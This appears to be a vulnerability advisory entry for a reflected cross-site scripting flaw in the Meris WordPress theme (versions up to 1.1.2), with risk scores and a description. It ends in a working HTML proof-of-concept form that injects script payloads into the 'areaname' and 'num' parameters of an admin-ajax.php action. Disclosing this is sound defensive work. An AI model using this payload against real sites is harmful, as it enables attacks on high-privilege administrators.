Meris <= 1.1.2 - Reflected XSS

2024-01-0100:00:00

Angelo Delicato

meris

reflected xss

admin-ajax.php

file upload

AI Score

8.7

Confidence

High

EPSS

0.001

Percentile

17.0%

JSON

Description The theme does not sanitise and escape some parameters before outputting them back in the page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=meris_widget_area_generator" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="areaname" value="<script>alert(/XSS-areaname/)</script>" />
      <input type="hidden" name="num" value='"><script>alert(/XSS-num/)</script>' />
      <input type="submit" value="XSS PoC" />
    </form>
  </body>
</html>